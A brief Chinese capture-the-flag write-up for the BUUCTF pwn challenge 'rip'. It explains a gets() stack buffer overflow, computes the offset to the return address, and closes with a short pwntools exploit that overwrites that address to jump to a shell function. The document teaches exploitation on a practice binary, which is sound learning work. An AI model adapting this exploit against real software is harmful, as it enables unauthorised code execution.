BUUCTF_PWN - rip
查看程序保护模式和文件基本信息:
没有什么保护,各条保护详情介绍请看胡写瞎写(1) pwntools常见命令,另外文件是64位小端程序
IDA载入
找到main函数F5:
发现一个 gets ( ) 函数,一个可以利用的漏洞点,gets ( ) 函数介绍:
get( )函数简单易用,它读取从输入流中读取一行,赋给字符串变量s,直到遇到换行符,然后丢弃换行符,存储其余的字符,并在结尾添加一个空字符使其成为一个 C 字符串,但是它无法检查数组是否装的下,因此它只知道开始处,并不知道数组有多少个元素,一旦过长就会覆盖栈中的其他数据。
通过这个思路我们查看一下 s 的最大能够装下多少字符
画个示意图如下:
所以我们只要输入超过0xF(char s)+0x8(前栈帧EBP)个字符就能覆盖到返回地址
看shift+F12里面的字符串然后再查看交叉找到拿到shell的地址
EXP编写:
from pwn import *
p = remote('x',x)
payload = b'a' * 23 + p64(0x401186)
p.sendline(payload)
p.interactive()